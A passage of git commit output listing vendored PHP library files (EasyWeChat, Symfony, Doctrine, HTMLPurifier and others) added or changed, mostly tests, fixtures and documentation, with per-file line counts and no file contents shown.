.../translation/Tests/fixtures/resources.yml | 1 + .../translation/Tests/fixtures/valid.csv | 4 + .../Tests/fixtures/withdoctype.xlf | 12 + .../translation/Tests/fixtures/withnote.xlf | 22 + vendor/symfony/translation/phpunit.xml.dist | 30 + vendor/symfony/var-dumper/CHANGELOG.md | 7 + .../var-dumper/Test/VarDumperTestCase.php | 45 + .../var-dumper/Test/VarDumperTestTrait.php | 45 + .../var-dumper/Tests/Caster/CasterTest.php | 178 + .../var-dumper/Tests/Caster/PdoCasterTest.php | 56 + .../Tests/Caster/ReflectionCasterTest.php | 127 + .../var-dumper/Tests/Caster/SplCasterTest.php | 62 + .../var-dumper/Tests/CliDumperTest.php | 446 + .../Tests/Fixtures/NotLoadableClass.php | 7 + .../var-dumper/Tests/Fixtures/dumb-var.php | 40 + .../var-dumper/Tests/HtmlDumperTest.php | 174 + .../Test/VarDumperTestTraitRequire54.php | 41 + .../Tests/Test/VarDumperTestTraitTest.php | 15 + .../var-dumper/Tests/VarClonerTest.php | 258 + vendor/symfony/var-dumper/phpunit.xml.dist | 31 + .../css-to-inline-styles/composer.json | 2 +- .../src/CssToInlineStyles.php | 2 +- vendor/w7corp/easywechat/.github/FUNDING.yml | 5 + .../easywechat/.github/ISSUE_TEMPLATE.md | 21 + .../easywechat/.github/workflows/lint.yml | 23 + .../easywechat/.github/workflows/test.yml | 24 + vendor/w7corp/easywechat/CHANGELOG.md | 1401 ++ vendor/w7corp/easywechat/README.md | 2 + .../build/easywechat-delete-branch.sh | 49 + .../easywechat/build/easywechat-split.sh | 58 + vendor/w7corp/easywechat/phpunit.xml | 31 + .../easywechat/src/Payment/Notify/Handler.php | 4 +- .../tests/BasicService/ApplicationTest.php | 25 + .../ContentSecurity/ClientTest.php | 32 + .../tests/BasicService/Jssdk/ClientTest.php | 143 + .../tests/BasicService/Media/ClientTest.php | 115 + .../tests/BasicService/QrCode/ClientTest.php | 56 + .../tests/BasicService/Url/ClientTest.php | 24 + .../w7corp/easywechat/tests/FactoryTest.php | 32 + .../tests/Kernel/AccessTokenTest.php | 208 + .../tests/Kernel/BaseClientTest.php | 215 + .../Kernel/Decorators/FinallyResultTest.php | 22 + .../Kernel/Decorators/TerminateResultTest.php | 22 + .../easywechat/tests/Kernel/EncryptorTest.php | 70 + .../easywechat/tests/Kernel/HelpersTest.php | 108 + .../tests/Kernel/Http/ResponseTest.php | 57 + .../tests/Kernel/Http/StreamResponseTest.php | 74 + .../tests/Kernel/Log/LogManagerTest.php | 127 + .../tests/Kernel/Messages/ArticleTest.php | 23 + .../tests/Kernel/Messages/CardTest.php | 22 + .../tests/Kernel/Messages/DeviceTextTest.php | 22 + .../tests/Kernel/Messages/MediaTest.php | 31 + .../Kernel/Messages/MiniProgramPageTest.php | 39 + .../tests/Kernel/Messages/MusicTest.php | 26 + .../tests/Kernel/Messages/NewsItemTest.php | 22 + .../tests/Kernel/Messages/NewsTest.php | 28 + .../tests/Kernel/Messages/RawTest.php | 24 + .../tests/Kernel/Messages/TextTest.php | 22 + .../tests/Kernel/Messages/TransferTest.php | 24 + .../tests/Kernel/Messages/VideoTest.php | 22 + .../tests/Kernel/Messages/VoiceTest.php | 22 + .../tests/Kernel/ServerGuardTest.php | 286 + .../tests/Kernel/ServiceContainerTest.php | 73 + .../tests/Kernel/Support/AESTest.php | 65 + .../tests/Kernel/Support/ArrTest.php | 310 + .../Kernel/Support/ArrayAccessibleTest.php | 39 + .../tests/Kernel/Support/CollectionTest.php | 117 + .../tests/Kernel/Support/FileTest.php | 25 + .../tests/Kernel/Support/StrTest.php | 61 + .../tests/Kernel/Support/XMLTest.php | 53 + .../tests/Kernel/Traits/HasAttributesTest.php | 79 + .../Kernel/Traits/HasHttpRequestsTest.php | 98 + .../Kernel/Traits/InteractsWithCacheTest.php | 49 + .../tests/Kernel/Traits/ObservableTest.php | 325 + .../Kernel/Traits/ResponseCastableTest.php | 117 + .../tests/MicroMerchant/ApplicationTest.php | 54 + .../tests/MicroMerchant/Base/ClientTest.php | 49 + .../MicroMerchant/Certficates/ClientTest.php | 34 + .../MicroMerchant/Kernel/BaseClientTest.php | 110 + .../MicroMerchant/Material/ClientTest.php | 36 + .../tests/MicroMerchant/Media/ClientTest.php | 28 + .../MerchantConfig/ClientTest.php | 56 + .../MicroMerchant/Withdraw/ClientTest.php | 38 + .../ActivityMessage/ClientTest.php | 41 + .../tests/MiniProgram/AppCode/ClientTest.php | 51 + .../MiniProgram/Auth/AccessTokenTest.php | 24 + .../tests/MiniProgram/Auth/AuthTest.php | 24 + .../MiniProgram/Broadcast/ClientTest.php | 256 + .../tests/MiniProgram/DataCube/ClientTest.php | 83 + .../tests/MiniProgram/EncryptorTest.php | 40 + .../tests/MiniProgram/Express/ClientTest.php | 78 + .../tests/MiniProgram/Live/ClientTest.php | 31 + .../MiniProgram/NearbyPoi/ClientTest.php | 55 + .../tests/MiniProgram/OpenData/ClientTest.php | 31 + .../tests/MiniProgram/Plugin/ClientTest.php | 35 + .../MiniProgram/Plugin/DevClientTest.php | 41 + .../MiniProgram/RealtimeLog/ClientTest.php | 23 + .../tests/MiniProgram/Search/ClientTest.php | 24 + .../tests/MiniProgram/Soter/ClientTest.php | 23 + .../SubscribeMessage/ClientTest.php | 87 + .../TemplateMessage/ClientTest.php | 68 + .../MiniProgram/UniformMessage/ClientTest.php | 83 + .../tests/OfficialAccount/ApplicationTest.php | 42 + .../OfficialAccount/Auth/AccessTokenTest.php | 24 + .../OfficialAccount/AutoReply/ClientTest.php | 23 + .../tests/OfficialAccount/Base/ClientTest.php | 49 + .../Broadcasting/ClientTest.php | 183 + .../Broadcasting/MessageBuilderTest.php | 49 + .../Card/BoardingPassClientTest.php | 24 + .../tests/OfficialAccount/Card/CardTest.php | 57 + .../tests/OfficialAccount/Card/ClientTest.php | 173 + .../OfficialAccount/Card/CodeClientTest.php | 89 + .../OfficialAccount/Card/CoinClientTest.php | 62 + .../Card/GeneralCardClientTest.php | 37 + .../Card/GiftCartClientTest.php | 38 + .../Card/GiftCartOrderClientTest.php | 39 + .../Card/GiftCartPageClientTest.php | 52 + .../Card/InvoiceClientTest.php | 50 + .../OfficialAccount/Card/JssdkClientTest.php | 53 + .../Card/MeetingTicketClientTest.php | 24 + .../Card/MemberCardClientTest.php | 58 + .../Card/MovieTicketClientTest.php | 23 + .../Card/SubMerchantClientTest.php | 46 + .../OfficialAccount/Comment/ClientTest.php | 65 + .../CustomerService/ClientTest.php | 94 + .../CustomerService/MessengerTest.php | 55 + .../CustomerService/SessionClientTest.php | 47 + .../OfficialAccount/DataCube/ClientTest.php | 149 + .../OfficialAccount/Device/ClientTest.php | 96 + .../OfficialAccount/Goods/ClientTest.php | 49 + .../OfficialAccount/Material/ClientTest.php | 133 + .../tests/OfficialAccount/Menu/ClientTest.php | 55 + .../tests/OfficialAccount/OCR/ClientTest.php | 44 + .../tests/OfficialAccount/POI/ClientTest.php | 61 + .../OfficialAccount/Semantic/ClientTest.php | 24 + .../OfficialAccount/Server/GuardTest.php | 30 + .../Server/Handlers/EchoStrHandlerTest.php | 36 + .../ShakeAround/ClientTest.php | 39 + .../ShakeAround/DeviceClientTest.php | 71 + .../ShakeAround/GroupClientTest.php | 59 + .../ShakeAround/MaterialClientTest.php | 32 + .../ShakeAround/PageClientTest.php | 47 + .../ShakeAround/RelationClientTest.php | 35 + .../ShakeAround/ShakeAroundTest.php | 38 + .../ShakeAround/StatsClientTest.php | 41 + .../OfficialAccount/Store/ClientTest.php | 91 + .../TemplateMessage/ClientTest.php | 93 + .../OfficialAccount/User/TagClientTest.php | 67 + .../OfficialAccount/User/UserClientTest.php | 77 + .../OfficialAccount/WiFi/CardClientTest.php | 29 + .../tests/OfficialAccount/WiFi/ClientTest.php | 41 + .../OfficialAccount/WiFi/DeviceClientTest.php | 47 + .../OfficialAccount/WiFi/ShopClientTest.php | 41 + .../OpenPlatform/Auth/AccessTokenTest.php | 28 + .../OpenPlatform/Auth/VerifyTicketTest.php | 67 + .../Aggregate/Account/ClientTest.php | 42 + .../Auth/AuthorizerAccessTokenTest.php | 35 + .../MiniProgram/Account/ClientTest.php | 37 + .../MiniProgram/ApplicationTest.php | 22 + .../MiniProgram/Auth/ClientTest.php | 29 + .../MiniProgram/Code/ClientTest.php | 111 + .../MiniProgram/Domain/ClientTest.php | 30 + .../MiniProgram/Setting/ClientTest.php | 97 + .../MiniProgram/Tester/ClientTest.php | 36 + .../OfficialAccount/Account/ClientTest.php | 31 + .../MiniProgram/ClientTest.php | 36 + .../Authorizer/Server/GuardTest.php | 31 + .../tests/OpenPlatform/Base/ClientTest.php | 74 + .../OpenPlatform/CodeTemplate/ClientTest.php | 41 + .../OpenPlatform/Component/ClientTest.php | 31 + .../tests/OpenPlatform/Server/GuardTest.php | 28 + .../Server/Handlers/AuthorizedTest.php | 22 + .../Server/Handlers/UnauthorizedTest.php | 22 + .../Server/Handlers/UpdateAuthorizedTest.php | 22 + .../Handlers/VerifyTicketRefreshedTest.php | 28 + .../tests/OpenWork/Auth/AccessTokenTest.php | 24 + .../tests/OpenWork/Corp/ClientTest.php | 108 + .../tests/OpenWork/MiniProgram/ClientTest.php | 30 + .../tests/OpenWork/Provider/ClientTest.php | 114 + .../tests/OpenWork/Server/GuardTest.php | 59 + .../Server/Handlers/EchoStrHandlerTest.php | 42 + .../OpenWork/SuiteAuth/AccessTokenTest.php | 28 + .../OpenWork/SuiteAuth/SuiteTicketTest.php | 68 + .../OpenWork/Work/Auth/AccessTokenTest.php | 35 + .../tests/Payment/ApplicationTest.php | 80 + .../tests/Payment/Base/ClientTest.php | 33 + .../tests/Payment/Bill/ClientTest.php | 36 + .../tests/Payment/Coupon/ClientTest.php | 43 + .../tests/Payment/Fundflow/ClientTest.php | 22 + .../tests/Payment/Jssdk/ClientTest.php | 115 + .../tests/Payment/Kernel/BaseClientTest.php | 93 + .../tests/Payment/Merchant/ClientTest.php | 40 + .../tests/Payment/Notify/PaidTest.php | 68 + .../tests/Payment/Notify/RefundedTest.php | 92 + .../tests/Payment/Notify/ScannedTest.php | 67 + .../tests/Payment/Order/ClientTest.php | 86 + .../Payment/ProfitSharing/ClientTest.php | 69 + .../tests/Payment/Redpack/ClientTest.php | 43 + .../tests/Payment/Refund/ClientTest.php | 70 + .../tests/Payment/Reverse/ClientTest.php | 30 + .../tests/Payment/Sandbox/ClientTest.php | 49 + .../tests/Payment/Security/ClientTest.php | 36 + .../tests/Payment/Transfer/ClientTest.php | 80 + vendor/w7corp/easywechat/tests/TestCase.php | 58 + .../tests/Work/Agent/ClientTest.php | 36 + .../easywechat/tests/Work/ApplicationTest.php | 56 + .../tests/Work/Auth/AccessTokenTest.php | 28 + .../easywechat/tests/Work/Base/ClientTest.php | 23 + .../tests/Work/Calendar/ClientTest.php | 47 + .../easywechat/tests/Work/Chat/ClientTest.php | 41 + .../tests/Work/Department/ClientTest.php | 43 + .../tests/Work/ExternalContact/ClientTest.php | 49 + .../Work/ExternalContact/ContactWayTest.php | 48 + .../Work/ExternalContact/MessageTest.php | 106 + .../Work/ExternalContact/StatisticsTest.php | 24 + .../tests/Work/GroupRobot/ClientTest.php | 29 + .../Work/GroupRobot/Messages/ImageTest.php | 25 + .../Work/GroupRobot/Messages/MarkdownTest.php | 24 + .../Work/GroupRobot/Messages/MessageTest.php | 24 + .../Work/GroupRobot/Messages/NewsItemTest.php | 24 + .../Work/GroupRobot/Messages/NewsTest.php | 27 + .../Work/GroupRobot/Messages/TextTest.php | 40 + .../tests/Work/GroupRobot/MessengerTest.php | 132 + .../tests/Work/Invoice/ClientTest.php | 41 + .../tests/Work/Jssdk/ClientTest.php | 111 + .../easywechat/tests/Work/Live/ClientTest.php | 35 + .../tests/Work/Media/ClientTest.php | 63 + .../easywechat/tests/Work/Menu/ClientTest.php | 36 + .../tests/Work/Message/ClientTest.php | 29 + .../tests/Work/Message/MessengerTest.php | 119 + .../Work/MiniProgram/Auth/ClientTest.php | 28 + .../easywechat/tests/Work/OA/ClientTest.php | 59 + .../tests/Work/Schedule/ClientTest.php | 54 + .../tests/Work/Server/GuardTest.php | 40 + .../Server/Handlers/EchoStrHandlerTest.php | 42 + .../easywechat/tests/Work/User/ClientTest.php | 111 + .../tests/Work/User/TagClientTest.php | 74 + vendor/w7corp/easywechat/tests/bootstrap.php | 14 + .../easywechat/tests/stubs/files/50x50.png | Bin 0 -> 182 bytes .../easywechat/tests/stubs/files/empty.file | 0 .../easywechat/tests/stubs/files/image.jpg | Bin 0 -> 807 bytes .../easywechat/tests/stubs/files/image.png | Bin 0 -> 182 bytes .../tests/stubs/files/public-wx123456.pem | 9 + 2728 files changed, 223561 insertions(+), 3316 deletions(-) create mode 100644 composer.lock create mode 100644 vendor/arvenil/ninja-mutex/.travis.php.ini create mode 100644 vendor/arvenil/ninja-mutex/.travis.yml create mode 100644 vendor/arvenil/ninja-mutex/phpunit.xml.dist create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/AbstractTest.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/LockFabricWithExpirationInterface.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/MemcacheLockFabric.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/Fabric/MemcachedLockFabric.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Lock/LockTest.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockLock.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockMemcache.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockMemcached.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPDO.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPDOStatement.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPhpRedisClient.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/MockPredisClient.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/Mock/PermanentServiceInterface.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexFabricTest.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexLocksTest.php create mode 100644 vendor/arvenil/ninja-mutex/tests/NinjaMutex/MutexTest.php create mode 100644 vendor/arvenil/ninja-mutex/tests/bootstrap.php create mode 100755 vendor/arvenil/ninja-mutex/tests/insight/memcache-setup.sh create mode 100755 vendor/arvenil/ninja-mutex/tests/insight/memcached-setup.sh create mode 100755 vendor/arvenil/ninja-mutex/tests/travis/composer-setup.sh create mode 100755 vendor/arvenil/ninja-mutex/tests/travis/mysql-setup.sh create mode 100644 vendor/bacon/bacon-qr-code/.travis.yml create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitArrayTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitMatrixTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/BitUtilsTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ErrorCorrectionLevelTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/FormatInformationTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ModeTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ReedSolomonCodecTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/VersionTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/EncoderTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MaskUtilTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MatrixUtilTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/HtmlTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/BaconQrCode/Renderer/Text/TextTest.php create mode 100644 vendor/bacon/bacon-qr-code/tests/bootstrap.php create mode 100644 vendor/bacon/bacon-qr-code/tests/phpunit.xml create mode 100644 vendor/classpreloader/classpreloader/.github/FUNDING.yml create mode 100644 vendor/composer/installed.json create mode 100644 vendor/danielstjules/stringy/.travis.yml create mode 100644 vendor/danielstjules/stringy/CHANGELOG.md create mode 100644 vendor/danielstjules/stringy/phpunit.xml.dist create mode 100644 vendor/danielstjules/stringy/tests/CommonTest.php create mode 100644 vendor/danielstjules/stringy/tests/CreateTest.php create mode 100644 vendor/danielstjules/stringy/tests/StaticStringyTest.php create mode 100644 vendor/danielstjules/stringy/tests/StringyTest.php create mode 100644 vendor/dnoegel/php-xdg-base-dir/phpunit.xml.dist create mode 100644 vendor/dnoegel/php-xdg-base-dir/tests/XdgTest.php create mode 100644 vendor/doctrine/annotations/CHANGELOG.md create mode 100644 vendor/doctrine/cache/.travis.yml create mode 100644 vendor/doctrine/cache/phpunit.xml.dist create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ApcCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ApcuCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ArrayCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/BaseFileCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CacheProviderTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ChainCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/CouchbaseCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/FileCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/FilesystemCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MemcacheCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MemcachedCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/MongoDBCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/PhpFileCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/PredisCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/RedisCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/RiakCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/SQLite3CacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/VoidCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/WinCacheCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/XcacheCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/ZendDataCacheTest.php create mode 100644 vendor/doctrine/cache/tests/Doctrine/Tests/DoctrineTestCase.php create mode 100644 vendor/doctrine/cache/tests/travis/php.ini create mode 100644 vendor/doctrine/cache/tests/travis/phpunit.travis.xml create mode 100755 vendor/doctrine/dbal/bin/doctrine-dbal create mode 100644 vendor/doctrine/dbal/bin/doctrine-dbal.php delete mode 100644 vendor/doctrine/inflector/.gitignore create mode 100644 vendor/doctrine/lexer/.github/FUNDING.yml create mode 100644 vendor/doctrine/lexer/docs/en/dql-parser.rst create mode 100644 vendor/doctrine/lexer/docs/en/index.rst create mode 100644 vendor/doctrine/lexer/docs/en/sidebar.rst create mode 100644 vendor/doctrine/lexer/docs/en/simple-parser-example.rst create mode 100644 vendor/doctrine/lexer/phpunit.xml.dist create mode 100644 vendor/doctrine/lexer/tests/Doctrine/Common/Lexer/AbstractLexerTest.php create mode 100644 vendor/doctrine/lexer/tests/Doctrine/Common/Lexer/ConcreteLexer.php create mode 100644 vendor/easywechat-composer/easywechat-composer/.travis.yml create mode 100644 vendor/easywechat-composer/easywechat-composer/phpunit.xml create mode 100644 vendor/easywechat-composer/easywechat-composer/tests/ManifestManagerTest.php create mode 100644 vendor/ezyang/htmlpurifier/.github/workflows/ci.yml create mode 100644 vendor/ezyang/htmlpurifier/.github/workflows/lint-pr.yml create mode 100644 vendor/ezyang/htmlpurifier/.github/workflows/release.yml create mode 100644 vendor/ezyang/htmlpurifier/art/1000passes.png create mode 100644 vendor/ezyang/htmlpurifier/art/100cases.png create mode 100644 vendor/ezyang/htmlpurifier/art/favicon.ico create mode 100644 vendor/ezyang/htmlpurifier/art/icon-16x16.png create mode 100644 vendor/ezyang/htmlpurifier/art/icon-16x16.svg create mode 100644 vendor/ezyang/htmlpurifier/art/icon-32x32.png create mode 100644 vendor/ezyang/htmlpurifier/art/icon-32x32.svg create mode 100644 vendor/ezyang/htmlpurifier/art/icon-64x64.png create mode 100644 vendor/ezyang/htmlpurifier/art/logo-large.png create mode 100644 vendor/ezyang/htmlpurifier/art/logo.png create mode 100644 vendor/ezyang/htmlpurifier/art/logo.svg create mode 100644 vendor/ezyang/htmlpurifier/art/powered.png create mode 100644 vendor/ezyang/htmlpurifier/configdoc/generate.php create mode 100644 vendor/ezyang/htmlpurifier/configdoc/styles/plain.css create mode 100644 vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl create mode 100644 vendor/ezyang/htmlpurifier/configdoc/types.xml create mode 100644 vendor/ezyang/htmlpurifier/configdoc/usage.xml create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-advanced-api.html create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-code-quality.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-config-bcbreaks.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-config-naming.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-config-schema.html create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-flush.html create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-includes.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-naming.html create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-optimization.html create mode 100644 vendor/ezyang/htmlpurifier/docs/dev-progress.html create mode 100644 vendor/ezyang/htmlpurifier/docs/dtd/xhtml1-transitional.dtd create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-customize.html create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-id.html create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-overview.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-security.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-slow.html create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-tidy.html create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-utf8.html create mode 100644 vendor/ezyang/htmlpurifier/docs/enduser-youtube.html create mode 100644 vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent create mode 100644 vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent create mode 100644 vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent create mode 100644 vendor/ezyang/htmlpurifier/docs/examples/basic.php create mode 100644 vendor/ezyang/htmlpurifier/docs/fixquotes.htc create mode 100644 vendor/ezyang/htmlpurifier/docs/index.html create mode 100644 vendor/ezyang/htmlpurifier/docs/proposal-colors.html create mode 100644 vendor/ezyang/htmlpurifier/docs/proposal-config.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/proposal-errors.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/proposal-filter-levels.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/proposal-language.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/proposal-new-directives.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/proposal-plists.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/ref-content-models.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/ref-css-length.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/ref-devnetwork.html create mode 100644 vendor/ezyang/htmlpurifier/docs/ref-html-modularization.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/ref-proprietary-tags.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/ref-whatwg.txt create mode 100644 vendor/ezyang/htmlpurifier/docs/specimens/LICENSE create mode 100644 vendor/ezyang/htmlpurifier/docs/specimens/html-align-to-css.html create mode 100644 vendor/ezyang/htmlpurifier/docs/specimens/img.png create mode 100644 vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html create mode 100644 vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html create mode 100644 vendor/ezyang/htmlpurifier/docs/style.css mode change 100644 => 100755 vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README mode change 100644 => 100755 vendor/ezyang/htmlpurifier/maintenance/compile-doxygen.sh mode change 100644 => 100755 vendor/ezyang/htmlpurifier/maintenance/flush-definition-cache.php mode change 100644 => 100755 vendor/ezyang/htmlpurifier/maintenance/flush.sh mode change 100644 => 100755 vendor/ezyang/htmlpurifier/maintenance/generate-entity-file.php mode change 100644 => 100755 vendor/ezyang/htmlpurifier/maintenance/generate-standalone.php mode change 100644 => 100755 vendor/ezyang/htmlpurifier/maintenance/merge-library.php mode change 100644 => 100755 vendor/ezyang/htmlpurifier/maintenance/regenerate-docs.sh create mode 100644 vendor/ezyang/htmlpurifier/smoketests/all.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/allConfigForm.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/attrTransform.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/attrTransform.xml create mode 100644 vendor/ezyang/htmlpurifier/smoketests/basic.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/basic/allElements.css create mode 100644 vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html create mode 100644 vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css create mode 100644 vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html create mode 100644 vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/common.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/configForm.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/dataScheme.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/extractStyleBlocks.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/img.png create mode 100644 vendor/ezyang/htmlpurifier/smoketests/innerHTML.html create mode 100644 vendor/ezyang/htmlpurifier/smoketests/innerHTML.js create mode 100644 vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/printDefinition.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Allowed.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Deprecated.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.bool.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.float.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.hash.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt create mode 100644 vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini create mode 100644 vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/xssAttacks.php create mode 100644 vendor/ezyang/htmlpurifier/smoketests/xssAttacks.xml create mode 100644 vendor/ezyang/htmlpurifier/tests/CliTestCase.php create mode 100644 vendor/ezyang/htmlpurifier/tests/Debugger.php create mode 100644 vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php create mode 100644 vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php create mode 100644 vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php create mode 100644 